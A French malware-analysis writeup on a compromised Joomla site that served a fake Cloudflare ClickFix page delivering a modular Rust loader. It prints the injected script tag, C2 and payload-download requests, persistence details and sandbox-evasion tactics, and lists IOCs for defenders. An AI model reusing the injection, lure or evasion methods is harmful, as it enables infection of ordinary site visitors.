Le 15 juillet 2026 je suis tombé sur le site d'une entreprise du territoire, un site parfaitement normal, en ligne depuis des années, qui distribuait un malware à ses propres visiteurs Windows sans que personne ne s'en soit rendu compte. Pas un site d'arnaque : une vraie activité, compromise et transformée, à son insu, en véhicule de distribution.
Dans ce writeup je raconte toute la chaîne : comment je l'ai découverte, comment se comportait le script injecté, ce qui se passait quand je « détonais » le malware dans une sandbox isolée, ce que j'ai tiré des dumps de mémoire, et pourquoi arriver à dire ce que fait vraiment un malware est bien plus difficile qu'il n'y paraît.
Note sur la responsible disclosure. Le nom de l'entreprise victime et son domaine sont masqués : c'était une cible innocente, un site légitime compromis. Les indicateurs de l'infrastructure de l'attaquant (domaines C2, hashes, IP) sont en revanche rapportés, car les partager aide ceux qui font de la défense à les bloquer. L'analyse a été menée en environnement isolé et l'entreprise a été prévenue.
1. La découverte : un script qui ne devait pas être là
Tout est parti d'un détail dans le source HTML. Sur toutes les pages, à l'intérieur du markup du menu de navigation, apparaissait un script étranger :
...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...
Ce " orphelin avant <a> est la signature d'un remplacement automatique via PHP côté serveur, et non d'une modification manuelle du template. Le script était injecté une fois pour chaque module-menu rendu : les pages avec megamenu desktop et menu mobile en montraient deux copies, celles avec un seul menu une seule.
Le domaine js.aacaw.com n'avait rien à voir avec le site. Premier signal d'alarme.
2. Ce n'est pas le malware : c'est une porte
J'ai téléchargé et désobfusqué fp/v1.min.js (97 920 octets exactement, obfusqué avec obfuscator.io). La surprise : il ne contient aucun payload. Zéro occurrence de captcha, download, .exe, blob, clipboard. C'est un fingerprint gate, une porte qui profile le visiteur et décide s'il vaut la peine de l'attaquer.
Le script collecte un fingerprint étendu côté client :
- canvas et WebGL (vendor et renderer via
WEBGL_debug_renderer_info) - énumération des polices installées
navigatorcomplet (userAgent, platform, plugins, hardwareConcurrency, langue)- résolution de l'écran, timezone
Puis il envoie tout à un C2 et attend le feu vert. En désobfusquant et en réexécutant le script dans une sandbox Node avec navigateur mocké et réseau intercepté, j'ai reconstruit la chaîne étape par étape :
GET https://api.aacak.com/domain → {"domain":"aacak.com"} (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
(se il profilo è un bersaglio → inietta il secondo stadio JS)
La première requête est un mécanisme de domain-agility : le script demande au C2 quel est le domaine actif avant de procéder, ainsi l'attaquant peut faire tourner l'infrastructure sans toucher au site infecté. Le fingerprint voyage sans aucune signature HMAC, donc le schéma est trivialement forgeable, un détail utile plus loin.
Sur Mac, Linux ou mobile, la porte ne reçoit jamais le feu vert et ne montre rien. Voilà pourquoi une compromission de ce genre peut passer inaperçue pendant des mois : elle ne s'active que pour la bonne cible.
3. Le faux Cloudflare et la technique ClickFix
Quand le profil est un desktop Windows, le gate injecte un second étage (static.aacak.com/fp/check.v1.min.js, 992 491 octets) qui construit une imitation pixel-perfect de la challenge Cloudflare. Des textes verbatim comme "Performing security verification", "This website uses a security service to protect against malicious bots", le branding Cloudflare, et même les vrais liens vers cloudflare.com/turnstile et cdn-cgi/challenge-platform pour l'authenticité.
La mise en scène est construite en trois actes, reconstruits ci-dessous à partir des échantillons réels (domaine de la victime masqué : c'est une cible innocente).
Acte 1 : la fausse challenge. La victime voit apparaître la classique interstitielle Cloudflare, avec le nom du site en grand, la case "Verify you are human" et le branding correct. Indiscernable de la vraie.

Et c'est ici que cette arnaque devient vraiment dangereuse. Regarde la barre d'adresse et le titre : le domaine est celui légitime du site compromis. Ce n'est pas un typosquat, ce n'est pas un domaine ressemblant, ce n'est pas un site clone : c'est ce site-là, avec son certificat HTTPS valide et la réputation bâtie en des années. La seule défense que nous enseignons toujours aux utilisateurs, "vérifie que l'URL est la bonne", échoue ici, parce que l'URL est la bonne. Aucune sonnette d'alarme ne se déclenche.
Acte 2 : le faux échec. Tu cliques la case et la challenge feint de ne pas réussir : "Verification failed, switching to another verification method". C'est le pivot psychologique de l'arnaque : la challenge « vraie » échoue, ainsi l'utilisateur accepte volontiers une méthode « alternative », baissant sa garde juste au moment où il va se faire avoir.

Acte 3 : le ClickFix. La « méthode alternative » est une page avec six champs pour un « code de vérification » et un bouton "Verify now".

Mais les champs et le bouton sont un leurre : ils ne font rien. C'est le cœur de la technique ClickFix. Le vrai téléchargement part d'un lien secondaire, à l'écart, "Not enabled yet? Get it now". En cliquant dessus :
POST https://api.aacak.com/fingerprint/download-click (telemetria del clic)
GET https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe
Le malware est servi comme un blob application/octet-stream depuis un bucket AWS S3 à Hong Kong (fp-hk, c'est-à-dire fingerprint-HK), fait passer pour un « validateur » nécessaire pour compléter le CAPTCHA. Après le clic, le lien devient "Validator downloaded". L'utilisateur exécute le malware en croyant débloquer un CAPTCHA, sans aucune vulnérabilité du navigateur, seulement de l'ingénierie sociale bien emballée.
Et ici le piège se referme de façon diabolique. Le « validateur » à peine téléchargé et exécuté est le malware lui-même, qui ouvre une petite fenêtre avec un code à six chiffres, présenté comme le code de vérification à saisir sur la page.

La victime copie ce code dans les six champs de la fausse challenge sur le site et clique « Verify now ». À ce moment le faux CAPTCHA disparaît et le site, le vrai, se charge normalement : l'utilisateur continue de naviguer imperturbable et convaincu d'avoir passé un contrôle de sécurité normal. Aucune erreur, aucun avertissement, aucun signe que quelque chose a mal tourné. Le code ne servait à rien du point de vue de la sécurité : il n'était que la dernière pièce de la mise en scène, le geste qui convainc l'utilisateur d'avoir « complété la vérification ». Pendant ce temps le malware est déjà sur son PC, et il y restera, silencieux, tandis qu'il retourne faire ce pour quoi il était venu sur le site sans se douter de rien.
4. La cause en amont : un plugin Joomla non mis à jour
Comment ce script a-t-il fini sur le serveur ? Le site tournait sur Joomla 4.4.14 (branche end-of-life) avec SP Page Builder 4.0.7, affecté par :
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-48908, file upload non authentifié menant à une RCE |
| Fonction | asset.uploadCustomIcon (le contrôle d'accès manque) |
| Fix | v6.6.2, publiée le 14/06/2026 |
| Statut | dans CISA KEV (exploitation active confirmée) depuis le 07/07/2026 |
En croisant avec la Wayback Machine, la page d'accueil était propre au 12 mai 2026 : la fenêtre de compromission se resserre à la période entre mai et juillet, cohérente avec l'apparition de la CVE dans la liste des vulnérabilités activement exploitées. Leçon numéro un, la plus ennuyeuse et la plus importante : un plugin obsolète est la porte d'entrée.
5. Détonation en sandbox isolée
Passons au binaire. checkbot-win-*.exe, environ 2,76 Mo, non signé. À l'exécution il drop un classique couple de DLL sideloading : dumpchk.exe (binaire Microsoft légitime et signé) qui charge un dbgeng.dll malveillant à la place de la DLL système du même nom.
Je l'ai exécuté dans une VM Windows complètement isolée, sans accès à l'internet réel, avec un réseau factice qui logge chaque tentative de connexion. En reconstruisant la timeline à partir du .pcap, le malware a interrogé en séquence trois domaines C2 :
~177s api.fingerprint-probe.com ← primo contatto
~370s api.aacaw.com ← stessa famiglia di js.aacaw.com sul sito!
~382s api.aacak.com ← variante typosquat, fallback
Le second domaine est la preuve directe que le malware distribué et le script sur le site appartiennent à la même infrastructure. Toutes les résolutions DNS échouaient à dessein, donc le malware n'a rien pu exfiltrer, mais la séquence de domaines est exactement ce qu'il aurait cherché à faire sur un PC réel.
6. Memory dumping : lire ce que le disque cache
Le fichier dbgeng.dll sur disque ne contient aucune chaîne malveillante en clair : il incorpore deux blobs chiffrés qu'il copie en mémoire RWX et exécute. Le payload doit être lu en RAM, pas sur le disque.
En capturant un dump complet de la mémoire de la VM pendant l'exécution, des informations que le fichier chiffré ne révélait pas sont apparues en clair :
- Endpoint C2 de l'exécutable :
/fingerprint/create(distinct des endpoints du gate web) - Bibliothèque HTTP :
ureq/3.3.0avecrustls 0.23.41, donc le payload est écrit en Rust (le loader initial est en revanche C/C++ MSVC : loader C, payload Rust, un pattern courant dans le malware moderne) - GUID victime unique :
0ec389f5-32ae-4a02-85c3-b3a3f21fe78d - Anti-sandbox : les chaînes
bochsetBOCHS, c'est-à-dire il contrôle la présence de l'émulateur Bochs (il n'a pas détecté notre QEMU/WHPX, c'est pour cela qu'il s'est comporté normalement) - Branding :
CheckBot Error
Avec Volatility3 j'ai ensuite fait les choses correctement sur deux exécutions indépendantes (pslist, malfind, memmap, vadinfo) :
pslist → checkbot-win.exe = PID 3596, nessun processo figlio
malfind → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager
Ici un piège méthodologique dans lequel il est très facile de tomber : malfind signale des régions RWX dans Windows Defender et dans les processus .NET. Elles ressemblent à une « injection dans Defender », mais ce sont les faux positifs connus, car ces processus utilisent légitimement de la mémoire RWX pour le moteur de scan et le JIT. Aucun de ces hits n'était dans le malware. Qui ne le sait pas écrit un rapport erroné avec grande assurance.
La donnée importante est une autre : dans notre environnement le malware préparait la configuration et s'arrêtait là, parce que le C2 ne répondait jamais. L'injection de code est conditionnée à une réponse positive du C2, donc le comportement dangereux se débloque seulement pour des victimes réelles avec un internet fonctionnel.
7. Ce qu'il fait VRAIMENT : le differential contre un build propre
À partir du dump j'ai carvé le payload Rust déchiffré (environ 780 Ko). Et c'est là qu'arrive la partie méthodologiquement la plus délicate de toute l'analyse.
La tentation est : je cherche des chaînes dans le dump, je trouve wallet, MetaMask, Login Data, Active Directory, et je conclus « c'est un stealer de wallet et de credentials ! ». Faux. rustls et la standard library sont linkées statiquement : leurs constantes (tables OID, headers HTTP) finissent dans le .rdata du blob, colocalisées avec les marqueurs du malware. Un scan brut d'un dump de 8,6 Go pêche des chaînes provenant d'autres processus et DLL en RAM, pas du malware.
Pour ne pas prendre des vessies pour des lanternes, j'ai compilé un build propre de référence avec les versions exactes des crates (ureq 3.3.0, rustls 0.23.41, http 1.4.2) et j'ai soustrait ses chaînes de celles du payload. Résultat :
id-smime-cd-ldap,Exchange,LDAP,Cookiesapparaissent aussi dans le build propre : bruit de bibliothèque, démontréActive Directory,SharePoint,DPAPI,wallet,MetaMask,CVVsont absents même du payload : ils venaient d'autres processus en RAM- ce qui reste après la soustraction, ce sont les modules Rust de l'auteur :
src/core/crypto.rs,src/core/client_id.rs,src/core/i18n.rs,src/core/probe.rs, plus de l'anti-debug et un schéma de télémétrie
Verdict sur l'exécutable initial : CheckBot est un fingerprinting-probe/loader, PAS un stealer, conclusion défendable par différence contre un build propre, non par proximité de chaînes. Le vol de données, s'il existe, est un étage ultérieur.
8. Détonation live : faire tomber l'anti-analyse
Tant que le C2 ne répondait pas, l'étage malveillant ne s'activait pas. Pour l'observer j'ai fait une détonation avec egress réel vers le C2 vivant, en VM isolée au niveau réseau (le guest atteint internet mais pas le LAN ni l'host).
Premier run live : refusé. Ma VM « criait sandbox » : hostname SANDBOX-PC, utilisateur Administrator, CPU qemu64, 1 cœur, SMBIOS QEMU, MAC 52:54:00. Le C2 a répondu avec quelques Ko et aucun module.
Second run : sandbox durcie. J'ai camouflé tout dans les paramètres QEMU :
-cpu Skylake-Client-v1,-smp 4, SMBIOS Dell OptiPlex 7090, MAC OUI Dell00:14:22, hostnameWKS-MARCO- un profil utilisateur crédible avec des credentials-leurre canarytoken :
Desktop\Password.txtavec une clé AWS, banque et email, plus.aws\credentialset des documents Office, tous faux mais armés, car ils se déclenchent quand l'attaquant les utilise
Avec l'environnement camouflé, j'ai lancé le binaire et l'ai laissé travailler sous observation. Voici le malware en action dans la sandbox durcie :

On voit tout : le hostname camouflé WKS-MARCO, la résolution DNS du C2 api.aacaw.com qui cette fois répond (les adresses Cloudflare devant le serveur de l'attaquant), le lancement de checkbot-win.exe depuis F:\ et, détail presque narquois, la fenêtre du malware lui-même, intitulée "CheckBot 0.4.32", qui reprend un faux widget Cloudflare "Verifying…" avec les mêmes codes à six chiffres que la page web. La même mise en scène que la challenge dans le navigateur, désormais incrustée dans l'exécutable : cohérence de branding jusque dans le binaire.
Cette fois le fingerprint est passé et l'étage final est arrivé. Observé directement :
- Connexion à
103.1.225.34:8001et:8002, TLS sur ports non standard, sans SNI, IP directe, avec téléchargement d'environ 4 Mo de modules et upload d'environ 21 Ko (exfiltration) - Vol des leurres tenté : dans la mémoire privée du processus injecté
dllhost.exe(PID 4688) se trouvait le contenu intégral dePassword.txt, clé AWS canaryAKIATU7L4S6WXXD53K7Yincluse. Undllhost.exesain ne lit pas de fichiers depuis le Desktop utilisateur - Injection confirmée avec évidence directe de
VirtualAllocEx,WriteProcessMemoryetCreateRemoteThreadisolées dans le module (de nouveau vérifiées avec la méthode differential, pour ne pas les confondre avec des chaînes de bibliothèque) - DNS-over-HTTPS pour cacher le C2 :
cloudflare-dns.com/dns-queryetdns.quad9.net/dns-queryrésolvaient un nouveau domaines4.cache-task.com, éludant les logs DNS du réseau
9. Attribution : pourquoi nous pensons qu'ils sont chinois
Un morceau qui, dans les writeups, est souvent tenu pour acquis, mais qui ici repose sur des évidences concrètes et indépendantes. L'attribution à des opérateurs sinophones ne naît pas d'un seul indice, mais de chaînes en chinois simplifié trouvées à des endroits différents et non reliés de la chaîne : script web, backend C2, page-leurre, binaire. Si c'était un seul point je dirais coïncidence ; quatre points indépendants non.
Les exemples concrets, avec la traduction :
- Erreur du C2, en envoyant un fingerprint malformé au backend Rust :
fp_data 缺少必要字段, c'est-à-dire « champs obligatoires manquants ». Le message d'erreur est écrit en chinois directement dans le serveur. - Chaînes du faux CAPTCHA :
看 6 位验证码, c'est-à-dire « regarde le code à 6 chiffres », les commentaires pour l'opérateur derrière la fausse challenge Cloudflare. - Fragment dans le gate :
网络, c'est-à-dire « réseau », laissé au milieu du code du fingerprint. - Commentaire dans le CSS de la page-leurre :
BOSS 约束, c'est-à-dire « contrainte du chef ». Un détail presque humain, le genre de commentaire qu'un développeur écrit pour lui-même, sans penser qu'il finira sous la loupe d'un analyste.
Il y a plus, et cela déplace l'attribution du langage à l'infrastructure. La résolution des domaines se faisait via DNS-over-HTTPS multi-provider, et parmi les resolvers choisis figurait dns.alidns.com, c'est-à-dire le DNS public d'Alibaba (Chine), à côté de cloudflare-dns.com, quad9.net et dns.google. Un choix qui a un double but : contourner le resolver DNS local (aucune trace dans le DNS de l'entreprise ou du FAI) et s'appuyer sur une infrastructure commode pour qui opère depuis cette zone.
Et puis il y a l'histoire du domaine, peut-être la pièce la plus parlante. En interrogeant le DNS passif de aacak.com, l'un des domaines C2, ses sous-domaines historiques sont remontés : pas des noms au hasard, mais liuhecai, yulecheng, zuqiubocai. Ce sont tous des termes chinois du jeu d'argent : respectivement la loterie Mark Six de Hong Kong, les « cités du divertissement » c'est-à-dire les casinos en ligne, et les paris sur le football. Autrement dit, avant d'héberger le gate de CheckBot, ce même domaine servait des circuits de paris en ligne chinois. Ce n'est pas une victime et ce n'est pas du bruit : c'est un morceau de la biographie de l'attaquant. Il indique que derrière cette campagne il n'y a pas un débutant, mais un acteur déjà enraciné dans l'écosystème du jeu d'argent clandestin sinophone, qui a ensuite reconverti son infrastructure vers la distribution de malwares.
Enfin, un détail issu des chemins de panic du binaire Rust : le stealer a été cross-compilé sur macOS (toolchain stable-aarch64-apple-darwin). Ce n'est pas une preuve de nationalité, mais cela dresse le profil : des opérateurs qui développent sur des Mac Apple Silicon, avec une messagerie interne en chinois, et une infrastructure qui touche des providers chinois.
Il reste une attribution forte mais non concluante : les chaînes dans une langue peuvent être placées exprès pour égarer. Cependant la cohérence entre langue, providers DNS, histoire du domaine et style des commentaires rend le false flag moins probable que ne le rendrait un seul indice isolé.
10. Pas un stealer à cibles fixes, mais un agent modulaire
En récupérant le module décompressé depuis la RAM (Volatility3 vadinfo --dump) et en le désassemblant, tout l'arbre des sources Rust de l'auteur a émergé (d'après les chemins de panic app/r/...) :
core/ c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/ beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/ remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/ cfg.rs, version.rs (v0.0.32)
Cela explique l'absence de chaînes browser et wallet : ce n'est pas un stealer à cibles câblées, c'est un agent modulaire piloté par des tâches du C2. L'opérateur pousse les commandes (inject_host, restart, update, sleep, stop, god, fmt et d'autres) ; le vol de fichiers a eu lieu parce qu'il a envoyé la bonne tâche, et de fait il a pris mon leurre. Des capacités comme le vol browser ou wallet seraient des modules additionnels téléchargés on-demand. La surface de risque est ouverte ; ce qui est démontré sur cette victime est : injection, recon, persistance, vol de fichiers sur commande et exfiltration.
11. Persistance et neutralisation
La persistance est redondante, pensée pour résister au nettoyage. La chaîne littérale est câblée dans le binaire CheckBot :
- Ancrage primaire : scheduled task camouflée
\Microsoft\Windows\Device Information\DeviceCensusHelper(imite le légitimeDeviceCensus, auteur falsifié Microsoft Corporation), créée via la Task Scheduler COM API, qui exécute le loader sideload à chaque boot - Ancrage fallback : clé de registre HKLM (
immortal.rs), utilisée si la task échoue - Self-heal :
immortal.rsetsupervisor.rsredémarrent les threads, et task et corps se recréent mutuellement
Voilà pourquoi pour nettoyer il ne suffit pas de supprimer un fichier. Il faut tous les ancrages ensemble :
- Site hors ligne et patch de la cause : mettre à jour SP Page Builder vers une version égale ou supérieure à la 6.6.2, mettre à jour tout le reste, évaluer la migration depuis Joomla 4.4 EOL
- Chasse à la persistance sur l'endpoint infecté : supprimer la scheduled task
DeviceCensusHelper, la clé HKLM, le loader droppé (dumpchk.exeetdbgeng.dll) et ledllhost.exeinjecté ; s'il en manque un, il se régénère - Rotation totale des credentials (admin Joomla, secret
configuration.php, DB, hosting, FTP/SSH, clés API) - Sur le serveur : chercher des admins et webshells cachés, sans s'arrêter au plugin
- RGPD : le site collectait des contacts via un formulaire, donc avec l'accès au DB l'attaquant pourrait avoir vu des données de tiers ; d'où l'évaluation de l'obligation de notification de breach (72 heures, Art. 33)
Comme touche finale, les leurres canary exfiltrés sont armés : la clé AWS AKIATU7L4S6WXXD53K7Y et les documents Office avec callback vers canarytokens.com se déclencheront quand l'opérateur utilisera le butin, révélant l'IP et le user-agent réels de l'attaquant.
Indicateurs de compromission (IOC)
| Type | Valeur |
|---|---|
| Domaine gate (injecté) | js.aacaw.com |
| Domaines C2 | api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com |
| Second étage JS | static.aacak.com/fp/check.v1.min.js |
| Delivery/exfil (S3 Hong Kong) | fp-hk.s3.ap-east-1.amazonaws.com, avec super4/checkbot/checkbot-*-0.0.32.exe et super4/zip/<token>.zip |
| Serveur d'exfiltration final | 103.1.225.34:8001 et :8002 (TLS sans SNI, IP directe) |
| Domaine C2 via DoH | s4.cache-task.com |
| Persistance | scheduled task \Microsoft\Windows\Device Information\DeviceCensusHelper |
| Processus cible injection | dllhost.exe |
Hash dbgeng.dll (payload malveillant) |
d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3 |
| CVE exploitée | CVE-2026-48908 (SP Page Builder jusqu'à la 6.6.1, Joomla) |
| Attribution | chaînes en chinois dans le gate, le C2 et le leurre, DoH vers Alibaba, build sur macOS, donc opérateurs sinophones |
12. Pas un cas isolé : la traque des autres victimes
Une fois le premier site signalé, la question évidente était : s'agit-il d'une cible isolée, ou de la pointe de quelque chose de plus vaste ? La signature d'injection que j'avais isolée pendant l'analyse (le script gate js.aacaw.com et la famille de domaines C2 *.aacaw.com / *.aacak.com / *.aabaw.com) était une empreinte parfaite pour retrouver d'autres victimes : si un site, où qu'il soit dans le monde, chargeait ce script, il appartenait à la même campagne.
Je l'ai fait sans toucher un seul site victime, uniquement à partir de sources passives :
- urlscan.io, qui archive les requêtes réseau réellement émises par chaque page scannée : en interrogeant l'index sur les domaines de la campagne, on fait ressortir les sites depuis lesquels ce gate a « tiré ».
- PublicWWW, qui indexe le code source HTML de centaines de millions de sites : chercher la chaîne
js.aacaw.comrenvoie directement les pages où l'injection est encore présente. - Certificate transparency (crt.sh) pour cartographier les familles de domaines frères générés par l'attaquant.
Le résultat a déplacé toute la perspective : pas un site, mais des dizaines. De l'ordre de 60 à 90 victimes observables à ce moment-là, réparties dans une quinzaine de pays, avec un dénominateur commun qui ne laisse aucune place au doute : toutes sous Joomla avec SP Page Builder, exactement la même combinaison et la même CVE-2026-48908 que le premier site. Pas une cible choisie, mais une moisson automatique de toute installation vulnérable que l'attaquant parvenait à trouver.
Et quelles victimes. Sans citer de noms (ce sont des cibles innocentes, comme la première) : des cabinets professionnels traitant les données financières de tiers, des institutions académiques et publiques, un théâtre, des associations culturelles et sportives, de petites entreprises de services et, à l'extrémité haute de l'échelle de risque, une banque et des portails gouvernementaux. Chacun de ces sites, à son insu, servait la même fausse challenge Cloudflare à ses visiteurs Windows.
Le détail le plus insidieux, c'est pourquoi personne ne s'en était aperçu. Le gate ne se déclenche pas à chaque fois : il est cloaked, servi par intermittence : une fois par IP, selon l'user-agent, la géolocalisation, le référent. Le propriétaire qui ouvre son propre site le voit propre, car au second chargement le portail reste fermé ; urlscan ne le capture qu'à l'instant précis où il décide de « tirer ». Cela explique comment une campagne aussi étendue peut rester invisible pendant des mois pour les premiers concernés.
Une précision, car la même discipline appliquée aux dumps mémoire vaut ici aussi : une estimation initiale, à l'impression, laissait penser à des milliers, voire des dizaines de milliers de sites. Les données ne le soutiennent pas. L'empreinte réelle de l'injection web est de l'ordre des dizaines, pas des milliers : le gate est délibérément furtif, et la sophistication n'implique pas un grand nombre de sites (le « volume » de la campagne, s'il est quelque part, est du côté du botnet d'appareils infectés, non mesurable depuis des sources passives). Même pour dimensionner une campagne, la règle du writeup tient : compter ce que l'on prouve, pas ce qui frappe.
Il y a une ligne que je n'ai pas franchie : pas de hack-back. Se connecter au serveur de l'attaquant pour en extraire la « liste complète » des victimes serait un accès non autorisé, illégal même contre un criminel, et souvent le meilleur moyen de tomber dans un honeypot. La reconnaissance de l'infrastructure hostile se fait uniquement via des index passifs ; la liste vraiment exhaustive s'obtient par voie légitime, en transmettant les IOC au CSIRT/CERT, qui a les pouvoirs et les canaux pour le takedown et la notification coordonnée aux victimes, la voie obligatoire, surtout pour les entités publiques touchées.
J'ai contacté les victimes que je pouvais joindre, à commencer par les italiennes, et transmis les indicateurs aux canaux institutionnels. Mais le point, pour le lecteur, est ailleurs, et il boucle la boucle avec la première leçon : ce premier site n'avait rien de spécial. Il n'avait pas été choisi. Ce n'était qu'un parmi tant d'autres à faire tourner un plugin non mis à jour, au mauvais moment.
Ce que j'en retiens
Trois leçons, par ordre d'importance.
Un plugin non mis à jour suffit. Aucun exploit sophistiqué du navigateur, aucun zero-day : une CVE connue dans un plugin end-of-life, et un site légitime devient un distributeur de malware pendant des mois sans que personne ne s'en aperçoive, parce que la porte ne s'active que pour la bonne cible.
L'analyse statique ne suffit pas contre le packing moderne. Downloader Rust, puis zip chiffré avec un mot de passe venant du C2, puis loader C avec blob XOR-rolling, puis shellcode, puis payload compressé à runtime. Chaque couche est pensée pour arrêter qui regarde seulement le fichier sur disque. La vérité est en RAM, et il faut la tirer avec détonation contrôlée et memory forensics.
Attention à ce que tu crois avoir trouvé. Les faux positifs de malfind sur Defender, les chaînes de bibliothèque prises pour des capacités du malware, la première liste « wallet, browser, Telegram » que le differential a démolie. La différence entre un rapport juste et un rapport faux mais convaincant est là tout entière : vérifier par différence, non par proximité.
Si tu gères un site sur un CMS avec des plugins tiers, que ce soit Joomla, WordPress ou Drupal, la question n'est pas s'il y a des mises à jour en attente, mais depuis combien de temps.
